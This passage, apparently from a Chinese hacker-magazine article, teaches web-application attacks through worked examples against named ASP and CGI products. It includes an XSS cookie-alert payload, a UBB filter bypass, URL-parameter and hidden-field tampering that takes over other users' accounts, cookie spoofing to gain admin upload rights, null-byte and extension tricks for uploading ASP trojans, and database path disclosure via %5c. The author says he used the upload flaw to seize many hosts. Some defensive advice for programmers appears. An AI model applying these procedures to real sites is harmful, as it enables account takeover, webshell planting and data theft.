三是利用大量的訪客請(qǐng)求來(lái)重復(fù)某一操作。前一陣某商務(wù)網(wǎng)站消息說(shuō)國(guó)內(nèi)某著名搜索引擎在其搜索聯(lián)盟中加入隱藏的iframe訪問該商務(wù)網(wǎng)站,對(duì)其進(jìn)行DDOS攻擊導(dǎo)致其服務(wù)器負(fù)荷過大。且不說(shuō)這個(gè)事情是真是假,但是這種思路是我們應(yīng)該注意的。2004年11期《黑客X檔案》上有一篇名為《玩轉(zhuǎn)X樹下》的文章(第62頁(yè)),作者利用跨站腳本攻擊在頁(yè)面中插入了發(fā)帖的代碼,巨大的訪問量使垃圾帖數(shù)目暴漲,最后服務(wù)器不堪重負(fù)幾近崩潰。
跨站攻擊的手段看似簡(jiǎn)單,只需在提交的內(nèi)容(如留言,評(píng)論)中加入危險(xiǎn)的代碼即可,但如何繞過程序?qū)Ψ欠ㄗ址倪^濾,則是一件很復(fù)雜的事情。常用的手段有:變更大小寫、轉(zhuǎn)換為ASII碼或轉(zhuǎn)義符、調(diào)用遠(yuǎn)程js腳本文件等腳本的變形和隱藏方法、使用Flash的Geturl參數(shù)等等。
小訣竅
1、如何對(duì)付表單的檢測(cè)。
有些網(wǎng)站為了防止跨站腳本攻擊,在其表單中加入一些Javascript代碼來(lái)檢測(cè)文本框的值,如不合法就彈出對(duì)話框提示,并禁止提交,但是這種只在客戶端作的限制相當(dāng)于什么限制都沒作,我們可以把網(wǎng)頁(yè)保存到本地,去掉相應(yīng)的檢測(cè)的JS代碼,再修改網(wǎng)頁(yè)中form的action屬性,使其指向網(wǎng)站,再提交,如果網(wǎng)站沒有在服務(wù)器端再次作驗(yàn)證的話,就會(huì)被入侵。(河北省高中生信息技術(shù)會(huì)考程序就存在此漏洞。)
2、關(guān)于UBB。
UBB代碼是一些程序?yàn)榱嗽谙拗苃tml代碼的同時(shí)不致使提交的信息過于單調(diào)而運(yùn)用的一種手段,其方法就是讓用戶使用一些特定的標(biāo)簽,然后在服務(wù)器端轉(zhuǎn)換這些標(biāo)簽,但是如果轉(zhuǎn)換的語(yǔ)句沒有寫好的話仍然會(huì)造成危險(xiǎn)。(我們會(huì)在后面的實(shí)例中進(jìn)一步展示繞過UBB的方法。)
下面請(qǐng)跟我用實(shí)例來(lái)體會(huì)一下:
實(shí)例1-1:無(wú)過濾的腳本插入
這是動(dòng)感商城某一個(gè)版本的“客戶反饋”功能,是一個(gè)名為fk.asp的自提交頁(yè)面,其中將數(shù)據(jù)存儲(chǔ)至數(shù)據(jù)庫(kù)的代碼是這樣的。
rs.addnew
rs(\\"fksubject\\")=checkFFSQLStr(trim(request(\\"fksubject\\")))
rs(\\"fkleixing\\")=checkFFSQLStr(request(\\"fkleixing\\"))
rs(\\"fkcontent\\")=checkFFSQLStr(trim(request(\\"fkcontent\\"))) ‘看,沒有進(jìn)行危險(xiǎn)字符過濾
rs(\\"fkusername\\")=checkFFSQLStr(trim(request(\\"fkusername\\")))
rs(\\"fkemail\\")=checkFFSQLStr(trim(request(\\"fkemail\\")))
rs(\\"fktel\\")=checkFFSQLStr(trim(request(\\"fktel\\")))
rs(\\"fklaizi\\")=checkFFSQLStr(trim(request(\\"fklaizi\\")))
rs(\\"fkdate\\")=now
rs(\\"fkip\\")=Request.ServerVariables(\\"remote_addr\\")
rs.update
rs.close
我們不難發(fā)現(xiàn),程序在把數(shù)據(jù)存進(jìn)數(shù)據(jù)庫(kù)之前只對(duì)是否有能構(gòu)成SI的字符進(jìn)行了過濾(這個(gè)過濾恰恰是沒有必要的,因?yàn)閰?shù)不引入查詢條件)而對(duì)危險(xiǎn)字符如script等沒有進(jìn)行過濾,顯示留言的頁(yè)面lyb.asp也沒有先過濾再顯示。如果我們?cè)诹粞灾刑峤?lt;script>alert(document.cookie)</script>,就可以彈出用戶的cookies信息。(如圖一)
實(shí)例1-2:過濾不好的UBB的腳本插入
某著名Blog程序的UBB轉(zhuǎn)換頁(yè)面ubbcode.asp其中轉(zhuǎn)換危險(xiǎn)字符的一個(gè)片斷如下:
Str = Replace(Str, \\"script\\", \\"script\\")
Str = Replace(Str, \\"SCRIPT\\", \\"SCRIPT\\")
Str = Replace(Str, \\"Script\\", \\"Script\\")
Str = Replace(Str, \\"script\\", \\"Script\\")
我們可以提交sCRipt這樣的字符來(lái)繞過此限制,譬如提交信息
[ img ]javascript:window.close()[ /img ](去掉空格)
可以關(guān)閉窗口。
二、越權(quán)攻擊
越權(quán)攻擊是由于程序員對(duì)頁(yè)面的訪問權(quán)的檢測(cè)不完善而造成的使入侵者不需得到用戶或管理員的密碼即可訪問只有特定用戶或管理員才能訪問的頁(yè)面的一種漏洞。
這種越權(quán)讓我想到了很久很久以前(大約2000年以前),流行的“聊天室踢人大法”,就是利用訪問某些對(duì)用戶的權(quán)限檢測(cè)不完善的聊天室程序的負(fù)責(zé)踢人的頁(yè)面來(lái)達(dá)到任意踢人的目的。
不過這種越管理員權(quán)限的漏洞通常比較隱蔽,尤其是對(duì)非開源的程序,大多只能憑經(jīng)驗(yàn)來(lái)猜。再看一個(gè)越普通用戶權(quán)限的例子:某程序的修改用戶資料的頁(yè)面通過獲取GET的參數(shù)引入程序進(jìn)行處理,顯示相關(guān)數(shù)據(jù),如:http://targetzone.com/edituser.asp?userid=Daniel,這本來(lái)是修改用戶Daniel的資料,但是如果程序沒有加別的驗(yàn)證,我們就可以通過修改參數(shù)的值來(lái)修改任意用戶的資料,如提交http://targetzone.com/edituser.asp?userid=Kitty來(lái)修改Kitty用戶的資料。
程序員在制作此類程序是應(yīng)該驗(yàn)證session來(lái)判斷用戶是否登陸,并且應(yīng)該從session中獲取當(dāng)前登陸的用戶名,其余如Get,cookies等數(shù)據(jù)都是不可信的。
再一種越權(quán),我們可以稱之為“越步越權(quán)”,這類漏洞是針對(duì)于某些需要N個(gè)步驟完成的過程,第X步?jīng)]有檢測(cè)是否完成了X-1步而使攻擊者可以跳過前X-1步。這種漏洞常出現(xiàn)在找回密碼的程序中,最后驗(yàn)證完畢修改密碼的頁(yè)面只是把要修改的用戶名以隱藏域的方式放在了網(wǎng)頁(yè)中,但是下一步?jīng)]有進(jìn)行相關(guān)檢測(cè)導(dǎo)致可以修改任意用戶的密碼。
小訣竅
1、隱藏域的利用。
許多程序員喜歡使用表單隱藏域而并非session在程序中傳遞一些步驟中出現(xiàn)的參數(shù),對(duì)于某些非敏感數(shù)據(jù)來(lái)說(shuō),這樣可以節(jié)省一定的服務(wù)器資源,但是對(duì)于一些敏感數(shù)據(jù)來(lái)說(shuō),這是十分危險(xiǎn)的,因?yàn)橛脩綦m然在網(wǎng)頁(yè)上看不到隱藏域,但是用戶可以查看源代碼來(lái)找到隱藏域,并且可以通過把網(wǎng)頁(yè)保存到本地并且修改隱藏域的值來(lái)達(dá)到越權(quán)的目的。
好的,我們來(lái)看幾個(gè)實(shí)例:
實(shí)例2-1:某版本動(dòng)感商城找回用戶密碼的越步漏洞
動(dòng)感商城的這個(gè)版本漏洞很多,其找回密碼的部分分為4個(gè)頁(yè)面,getpwd.asp~getpwd4.asp,分別對(duì)應(yīng)填寫用戶名、填寫提示密碼答案、重新設(shè)置密碼、將新的密碼更新至數(shù)據(jù)庫(kù)的操作。其中g(shù)etpwd4.asp的部分代碼是這么寫的。
<%username=request(\\"username\\")
passwd=md5(trim(request.form(\\"passwd\\")))
set rs=Server.CreateObject(\\"Adodb.Recordset\\")
sql=\\"select * from [user] where username='\\"&username&\\"'\\"
rs.open sql,conn,1,3
If rs.eof Then
%>
<script language=\\"javascript\\">
alert(\\"這個(gè)用戶還沒有注冊(cè)呢,請(qǐng)到首頁(yè)注冊(cè)吧!\\")
location.href=\\"javascript :history.back()\\"
</script>
<%
else
rs(\\"userpassword\\")=passwd
rs.update
end if
rs.close
set rs=nothing
conn.close
set conn=nothing%>………
可以發(fā)現(xiàn)第一行沒有檢測(cè)requect來(lái)得數(shù)據(jù)到底是不是填寫了相關(guān)信息。
假設(shè)我們由于某種原因要盜取用戶Kitty的密碼:我們可以這樣做:先注冊(cè)一個(gè)新用戶Daniel,并記下所填寫的提示問題答案,然后去找回密碼,直到getpwd3.asp這個(gè)頁(yè)面,把此頁(yè)面保存至本地,用記事本打開頁(yè)面,把form的action屬性值中的Daniel改為Kitty,并把網(wǎng)址補(bǔ)充完整,然后在本地打開此頁(yè)面,填寫密碼并提交就可以修改Kitty的密碼為你剛才在這個(gè)頁(yè)面填寫的密碼。
實(shí)例2-2:九酷網(wǎng)絡(luò)個(gè)人主頁(yè)空間管理系統(tǒng)3.0的越權(quán)漏洞:
程序中檢測(cè)是否登陸是通過在頁(yè)面include文件chkuser.asp來(lái)實(shí)現(xiàn)的
<%if session(\\"user_userid\\")=\\"\\" or session(\\"user_username\\")=\\"\\" then ‘漏洞原因
Response.write\\"<script>alert('對(duì)不起,您還沒有登錄或登錄出錯(cuò)!');top.location.href='index.asp'</script>\\"
response.End
end if
%>
可以看到,這個(gè)文件只檢查了session是否為空,而沒有檢查到底的操作是否是當(dāng)前所登錄用戶的!所以這個(gè)程序存在多處越權(quán)漏洞,先看越用戶修改資料的漏洞:登陸后可以看到界面分為上、左、右三個(gè)框架。頂部的框架主要是幾個(gè)導(dǎo)航的連接,按住shift點(diǎn)”修改個(gè)人資料”,使其在新窗口打開,地址為:http://127.0.0.1/edituser.asp?userid=39&username=Daniel,不難看出,地址中的username參數(shù)的值就是當(dāng)前用戶名,那么我們把它改一下試試……打開頁(yè)面http://127.0.0.1/edituser.asp?userid=39&username=Kitty,Bingo!網(wǎng)頁(yè)上顯示出我們注冊(cè)Kitty用戶時(shí)填寫的資料!隨便改改吧……這里我們可以修改它的密碼提示問題和答案,然后再通過“忘記密碼”功能修改該用戶的密碼。再來(lái)看顯示并修改任意用戶文件的漏洞。經(jīng)檢測(cè),負(fù)責(zé)顯示文件列表的頁(yè)面是http://127.0.0.1/main.asp?userid=39&username=Daniel&path=Daniel,我們可以通過修改path的值這里對(duì)服務(wù)器上的文件進(jìn)行瀏覽,上傳,刪除,改名等操作。
實(shí)例2-3:LB5000修改注冊(cè)聲明的漏洞
由于雷傲的LB5000的setregmsg.cgi和setregrules.cgi兩個(gè)文件存在越權(quán)漏洞,導(dǎo)致攻擊者可以直接修改論壇“注冊(cè)聲明”和“短消息歡迎信息” 。提交如下請(qǐng)求可以修改“注冊(cè)聲明”:http://www.targetzome.com/ cgi-bin/setregrules.cgi?action=process&therules=要修改的內(nèi)容。我們可以通過這個(gè)寫入一些跨站的代碼。
三、cookies欺騙
什么是cookies呢, Cookies是一個(gè)儲(chǔ)存于瀏覽器目錄中的文本文件,記錄你訪問一個(gè)特定站點(diǎn)的信息,且只能被創(chuàng)建這個(gè)cookies的站點(diǎn)讀回,約由255個(gè)字符組成,僅占4KB硬盤空間。當(dāng)用戶正在瀏覽某站點(diǎn)時(shí),它儲(chǔ)存于客戶機(jī)的內(nèi)存中,退出瀏覽器后,它儲(chǔ)存于用戶的硬盤中。儲(chǔ)存在Cookies中的大部分信息是普通的,如當(dāng)你瀏覽一個(gè)站點(diǎn)時(shí),此文件記錄了每一次的擊鍵信息和被訪站點(diǎn)的地址等。但是許多Web站點(diǎn)使用Cookies來(lái)儲(chǔ)存針對(duì)私人的數(shù)據(jù),如:注冊(cè)口令、用戶名、信用卡編號(hào)等。
Cookies欺騙是在客戶端對(duì)網(wǎng)站要讀取的cookies修改成我們想偽裝的值而對(duì)程序進(jìn)行欺騙,讓其誤認(rèn)為我們是已登陸的用戶從而達(dá)到某種目的,可以說(shuō),這也是越權(quán)的一種方法。
我們還是說(shuō)有些程序員對(duì)風(fēng)險(xiǎn)估計(jì)不足,對(duì)于客戶端過于信任,把本應(yīng)該存儲(chǔ)在session中的敏感信息存儲(chǔ)在了cookies中導(dǎo)致了這種漏洞,所以這種漏洞相對(duì)來(lái)說(shuō)也是比較隱蔽的。
進(jìn)行這種攻擊的一般思路是得到合法的cookies->使用工具修改cookies->訪問限制頁(yè)面,越權(quán)成功。
假設(shè)我們?cè)谡军c(diǎn)http://targetzone.com上有一個(gè)合法帳號(hào)Daniel,現(xiàn)在我們想用用戶Kitty的身份登陸,但是我們沒有Kitty的密碼(廢話,否則還攻擊什么……),我們?cè)囋囉胏ookies欺騙的方法達(dá)到目的:
以Daniel的身份登陸targetzone.com并且選擇保存登陸資料,關(guān)閉瀏覽器,使用IECookiesView這個(gè)軟件打開本機(jī)的Cookies信息,選擇站點(diǎn)targetzone.com,修改username的值為Kitty,再次訪問網(wǎng)站,發(fā)現(xiàn)我們已經(jīng)以Kitty的身份登陸了。
但是這種攻擊也是有一個(gè)比較大的硬傷的,且不說(shuō)網(wǎng)站是否把信息保存在cookies中,單說(shuō)有的網(wǎng)站把用戶名和密碼一起保存在cookies中,每次訪問的時(shí)候先根據(jù)用戶名和密碼進(jìn)行檢測(cè),然后再判斷是否合法。所以說(shuō)這種漏洞其實(shí)單獨(dú)使用并不是非常有效,但是配合其他的入侵就好用多了,譬如下載了某站點(diǎn)的數(shù)據(jù)庫(kù),但是其中的密碼都是MD5加密的,除非暴力破解出MD5散列的值,否則無(wú)法在網(wǎng)站上登陸,不過如果網(wǎng)站是把用戶名和MD5后的密碼保存在Cookies中,我們就可以應(yīng)用了?;蛘呔W(wǎng)站防SI的措施比較嚴(yán)密,在url中找不到注入點(diǎn),可以在cookies中找注入點(diǎn)等。還有的網(wǎng)站把用戶的權(quán)限保存在cookies中,也可以通過修改來(lái)達(dá)到提升權(quán)限的目的。
實(shí)例3-1 某下載程序的欺騙漏洞:
其處理登陸的代碼是這樣的:
<%If Cookies(\\"down_Isadder\\")=\\"\\" then%>
<script language=\\"Vbscript\\">
msgbox(\\"對(duì)不起,您沒有權(quán)限管理用戶!如果您是管理員,請(qǐng)登陸!\\")
window.close()
</script>
<%Else%>
…………
真暈,只檢測(cè)了那個(gè)cookies是否為空,所以我們使用IECookiesView來(lái)把down_Isadder的值改為任意值(當(dāng)然,除了空值)都可以登陸管理。
實(shí)例3-2:L-blog的cookie越權(quán)上傳欺騙漏洞:
最近這個(gè)漏洞真是毀掉包括不少黑客在內(nèi)的WebLog啊。L-Blog的提取cookies的文件存在邏輯漏洞使得任意用戶可以跨越至管理員的權(quán)限上傳文件。
文件attachment.asp的部分代碼:
IF memStatus="SupAdmin" OR memStatus="Admin" Then
IF Request.QueryString("action")="upload" Then
可以看到,程序檢測(cè)SupAdmin的值是不是管理員所對(duì)應(yīng)的值,如果是就允許上傳,而并未檢測(cè)登陸的用戶是誰(shuí)。再看驗(yàn)證cookies的程序command.asp,檢測(cè)如果memName(cookies中取得的用戶名)為空,則不進(jìn)行任何操作。如果不為空,則驗(yàn)證保存的用戶名和密碼是否正確,不正確清空cookies。這里就為我們留下了一個(gè)漏洞,如果cookies中的用戶名的值(memName)為空,而用戶權(quán)限(memStatus)的值不為空,這樣command.asp文件就不驗(yàn)證用戶名和密碼,但是上傳頁(yè)面檢測(cè)到memStatus是管理員的,就可以上傳了。
我們可以先注冊(cè)普通用戶,登陸并保存cookies,修改cookies使memName的值為空,memStatus的值為SupAdmin或者Admin,然后就可以上傳了。
但是只能上傳某幾種文件,我們是不能上傳Asp木馬的,怎么辦呢……我們?cè)賮?lái)看看如何傳asp木馬。
四、非法上傳漏洞
以合法致非法,我們先來(lái)說(shuō)兩個(gè)簡(jiǎn)單的不算漏洞的漏洞。
一些程序限制了如asp,asa等擴(kuò)展名是不能上傳的,但是我們看看IIS的設(shè)置,發(fā)現(xiàn)還有一些擴(kuò)展名是由asp.dll解釋的,如cer所以如果某些程序不允許上傳asp文件,我們可以把木馬的擴(kuò)展名改為cer,然后再上傳,這時(shí)如果服務(wù)器沒有把cer的解析去掉的話,我們就可以運(yùn)行木馬了。還有一些擴(kuò)展名的文件,是可以執(zhí)行SSI(Server Side Include)指令的,如stm,上傳一個(gè)seeit.stm文件,內(nèi)容為” <!--#include file="conn.asp"-->”,然后訪問此文件,即可看到conn.asp文件的內(nèi)容。所以程序員在作上傳檢測(cè)的時(shí)候,應(yīng)該設(shè)定什么樣子的文件允許上傳而并非什么樣的文件不能上傳。
再說(shuō)關(guān)于上傳程序的漏洞。
前一陣子出現(xiàn)的動(dòng)網(wǎng)論壇的上傳漏洞可謂風(fēng)風(fēng)雨雨啊,Daniel也用這個(gè)漏洞攻下了許多頑固肉雞,我們先就動(dòng)網(wǎng)的上傳來(lái)分析:
動(dòng)網(wǎng)本來(lái)是不允許上傳asp等危險(xiǎn)文件的,但是其上傳的處理有一定的漏洞導(dǎo)致程序獲取的參數(shù)有誤而使入侵者可以上傳任意文件。
先看看提交上傳的一個(gè)頁(yè)面reg_upload.asp:
<form name=\\"form\\" method=\\"post\\" action=\\"upfile.asp\\" enctype=\\"multipart/form-data\\" >
<input type=\\"hidden\\" name=\\"filepath\\" value=\\"uploadFace\\">
<input type=\\"hidden\\" name=\\"act\\" value=\\"upload\\">
<input type=\\"file\\" name=\\"file1\\">
<input type=\\"hidden\\" name=\\"fname\\">
<input type=\\"submit\\" name=\\"Submit\\" value=\\"上傳\\" onclick=\\"fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;\\">
</form>
程序是提取file1表單和fname表單中的值來(lái)做判斷的.也就是說(shuō)直接從頁(yè)面遞交要上傳的asp文件程序是會(huì)檢測(cè)出來(lái)的。不過我們可以自己構(gòu)造數(shù)據(jù)包并使用NC提交,達(dá)到越過檢測(cè)的目的。但是我們的主要問題是上傳后的文件一定要是asp格式的,雖然file1的值合法,但是最終達(dá)到保存的擴(kuò)展名為asp的目的應(yīng)該怎么辦呢?
動(dòng)網(wǎng)所用的無(wú)組件上傳類中有一句是這么寫的:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&\\".\\"&fileExt
這個(gè)filename為程序生成的保存的文件的文件名。在計(jì)算機(jī)中檢測(cè)字符串的關(guān)鍵就是看是否碰到''字符, 如果是,則認(rèn)為字符串結(jié)束了.也就是說(shuō)我們?cè)跇?gòu)造上傳文件保存路徑時(shí),只要欺騙計(jì)算機(jī),讓他認(rèn)為類似"uploadfaceDaniel.asp" 這樣的路徑參數(shù)已經(jīng)結(jié)束了,就可以達(dá)到我們的目的了。
這種漏洞的原理就分析到這里,現(xiàn)在很多上傳都存在這種漏洞,先抓包再手動(dòng)提交實(shí)在太累了,Daniel建議大家使用網(wǎng)上的一些上傳漏洞利用工具來(lái)減輕負(fù)擔(dān)。
再來(lái)看一個(gè)My動(dòng)力3.51的漏洞。其上傳頁(yè)面Upfile_Soft.asp的部分代碼是這樣的:
Fot i=0 to ubound(arrUpFileType)
If fileEXT=trim(arrUpFileType(i)) then
Enableupload=true
因?yàn)镸y動(dòng)力所采用的上傳類可以上傳多個(gè)文件,我們從上面的代碼可以看出,如果上傳多個(gè)文件時(shí),第N-1個(gè)文件的擴(kuò)展名不合法,而第N個(gè)文件的擴(kuò)展名合法的話,是可以通過檢測(cè)的。所以我們只要自己構(gòu)造頁(yè)面,上傳兩個(gè)文件,并且第二個(gè)的擴(kuò)展名是程序可以上傳的,就可以了。但是My動(dòng)力系統(tǒng)是禁止表單外部提交的,如何繞過這個(gè)限制呢,請(qǐng)看-表單的攻防。
小訣竅:
1、利用數(shù)據(jù)庫(kù)的備份恢復(fù)功能把合法變非法。
畢竟還是有許多系統(tǒng)不存在上傳的邏輯漏洞,那么我們?cè)趺瓷蟼髂_本木馬呢。這個(gè)訣竅要求你能登陸后臺(tái),并且網(wǎng)站系統(tǒng)有備份和恢復(fù)數(shù)據(jù)庫(kù)的功能。現(xiàn)通過合法渠道把木馬改名為合法的擴(kuò)展名上傳,然后在備份和恢復(fù)數(shù)據(jù)庫(kù)的頁(yè)面中,把上傳后的文件名寫在備份和恢復(fù)的路徑中,然后還原,由于程序是將數(shù)據(jù)庫(kù)以asp擴(kuò)展名存放的,所以木馬也可以正常解析了。
五、表單的攻防
本文前面一些地方已經(jīng)提到了一些關(guān)于程序中表單的不安全因素,現(xiàn)在我們來(lái)總結(jié)一下。對(duì)于表單的攻擊,主要的思路就是把含有表單的頁(yè)面保存到本地,修改去掉相關(guān)限制,并且將其action提交地址補(bǔ)全為網(wǎng)站上的地址,然后再提交。
所以不難看出,關(guān)于表單的一切,如果在服務(wù)器端不再次驗(yàn)證的話,都是危險(xiǎn)和不可信的。建議程序員在客戶端做表單合法性檢查的同時(shí)盡量在服務(wù)器端再次驗(yàn)證并且在服務(wù)器端加相應(yīng)的禁止外部提交的代碼。:
<%server_v1=Cstr(Request.ServerVariables(\\"HTTP_REFERER\\"))
server_v2=Cstr(Request.ServerVariables(\\"SERVER_NAME\\"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write \\"<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>\\"
response.write \\"<tr><td style='font:9pt Verdana'>\\"
response.write \\"你提交的路徑有誤,禁止從站點(diǎn)外部提交數(shù)據(jù)請(qǐng)不要亂該參數(shù)!\\"
response.write \\"</td></tr></table></center>\\"
response.end
end if%>
我們來(lái)想想有哪些表單的限制:Js合法性檢查、隱藏域、不可修改(ReadOnly)域。
不知道大家是否還記得ofstar論壇的論壇群組,采用一個(gè)readonly域顯示某一群組的成員,我們就可以把網(wǎng)頁(yè)下載下來(lái),去掉readonly屬性,然后自己加上你想加入此論壇的會(huì)員,然后提交……
小訣竅:
1、繞過禁止外部提交:
可以自己寫一個(gè)socket程序來(lái)修改http_referer的值,但是這種方法比較麻煩,我介紹一種簡(jiǎn)單的。
這個(gè)訣竅要求你有上傳圖片的權(quán)限。IE打開圖片的時(shí)候,如果圖片中是html代碼的話,就像網(wǎng)頁(yè)一樣可以運(yùn)行其代碼。這樣我們可以把構(gòu)造的頁(yè)面改擴(kuò)展名為圖片,并且上傳,訪問這個(gè)頁(yè)面并且提交就是在服務(wù)器端提交了。(注意:這種方法在構(gòu)造頁(yè)面的時(shí)候一定要把諸如<html>那些基礎(chǔ)標(biāo)簽都寫全。)
實(shí)例5-1:九酷網(wǎng)絡(luò)個(gè)人主頁(yè)空間管理系統(tǒng)3.0的向任意目錄上傳漏洞:
登陸后,點(diǎn)擊”上傳文件”按鈕,彈出一個(gè)網(wǎng)頁(yè),里面可以設(shè)定上傳個(gè)數(shù),還有一個(gè)上傳目錄的文本框,但是不可以修改,在IE中將這個(gè)頁(yè)面另存,然后找到文件的第44行,代碼為: <LI>上傳到: <INPUT class=INPUT style="WIDTH: 200px" ReadOnly…我們把這個(gè)ReadOnly刪除,然后找到文件第37行,把form標(biāo)簽的action屬性中的值補(bǔ)全(就是把網(wǎng)站地址加上) ,然后在本地打開這個(gè)頁(yè)面,此時(shí)”上傳倒”文本框已經(jīng)可以修改了,我們將其改為:../,選擇文件上傳,可以發(fā)現(xiàn),這個(gè)文件已經(jīng)傳到上一級(jí)目錄下了。
六、暴庫(kù)、暴文件內(nèi)容的漏洞
大家都聽說(shuō)過%5c暴庫(kù)漏洞吧,就是對(duì)于操作數(shù)據(jù)庫(kù)的頁(yè)面把地址欄最靠近文件名的那個(gè)”/”改為”%5c”,如果滿足以下條件,就可以看見數(shù)據(jù)庫(kù)的路徑:一般的錯(cuò)誤返回頁(yè)面是本地IE提供的,所以我們先得關(guān)了本地的錯(cuò)誤頁(yè)面,具體在菜單項(xiàng)的‘工具->internet選項(xiàng)->高級(jí)->顯示友好信息';對(duì)方數(shù)據(jù)庫(kù)要是Access型;%5c的暴庫(kù)需要的是二級(jí)目錄,一級(jí)目錄無(wú)法成功;對(duì)方的頁(yè)面沒有容錯(cuò)語(yǔ)句。原理比較復(fù)雜,請(qǐng)大家自己Google。
有的程序員喜歡把include的頁(yè)面擴(kuò)展名都寫成inc,并且許多教程也是這樣建議的,但是這樣使得程序存在一個(gè)大漏洞,由于inc默認(rèn)不是由asp.dll解析的,所以是直接以文本的方式顯示,這樣如果別人就可以直接訪問你的數(shù)據(jù)庫(kù)定義的頁(yè)面(如conn.inc)來(lái)的知數(shù)據(jù)庫(kù)地址或SQL帳號(hào)密碼。
有些網(wǎng)站為了防止軟件下載的盜鏈,對(duì)于下載軟件都是用一個(gè)頁(yè)面讀取,然后輸出流的方式傳送到客戶端,其文件名參數(shù)通常以GET方式附加在地址中,如http://targetzone.com/down.asp?path=Daniel.zip,我們先可以大概猜出其數(shù)據(jù)鏈接文件相對(duì)于軟件庫(kù)的位置,并且更改path參數(shù)的值,如果幸運(yùn)的話,就可以下載到未經(jīng)asp.dll解析的數(shù)據(jù)鏈接文件了。
Part III總結(jié)和后記
時(shí)間已到清晨,太陽(yáng)升起來(lái)了,陽(yáng)光灑滿大地,花了大概3天的業(yè)余時(shí)間寫的這篇文章到這里基本上就結(jié)束了,但是我要強(qiáng)調(diào)的是,網(wǎng)站程序中非SI的漏洞遠(yuǎn)不止于此,并且許多未知的邏輯漏洞還是未曾被發(fā)現(xiàn)的,本專題由于篇幅和時(shí)間的限制,僅對(duì)目前比較常用的一些手段作了簡(jiǎn)單的介紹,希望Daniel能對(duì)大家起到拋磚引玉的作用,各位如果真正認(rèn)真地研究一下網(wǎng)上一些程序的代碼,就可以發(fā)現(xiàn)許多未被別人發(fā)現(xiàn)的漏洞出現(xiàn)了。
漏洞并不可怕,可怕的是程序員沒有一種嚴(yán)謹(jǐn)?shù)膽B(tài)度和完整、周全的思路。
老編土豆曾問我怎么想到這個(gè)主題的,其實(shí)我只是對(duì)只會(huì)用NBSI亂注網(wǎng)站的菜鳥(包括我自己)的行為感到深深遺憾和擔(dān)憂,只會(huì)用工具的黑客不是黑客,我們一定要學(xué)會(huì)用自己的思想發(fā)現(xiàn)漏洞,修補(bǔ)漏洞,才能做到真正技術(shù)上的提高。
相關(guān)文章
phpwind管理權(quán)限泄露漏洞利用程序發(fā)布
phpwind是國(guó)內(nèi)使用非常廣泛的一款程序,由于在程序設(shè)計(jì)上存在錯(cuò)誤,導(dǎo)致任何人可以取得前臺(tái)管理員及斑主權(quán)限,做刪除帖子等任意操作2008-06-06關(guān)于oblog、動(dòng)易、風(fēng)訊等擁有源碼編輯的程序漏洞淺析
這篇文章主要介紹了關(guān)于oblog、動(dòng)易、風(fēng)訊等擁有源碼編輯的程序漏洞淺析2007-01-01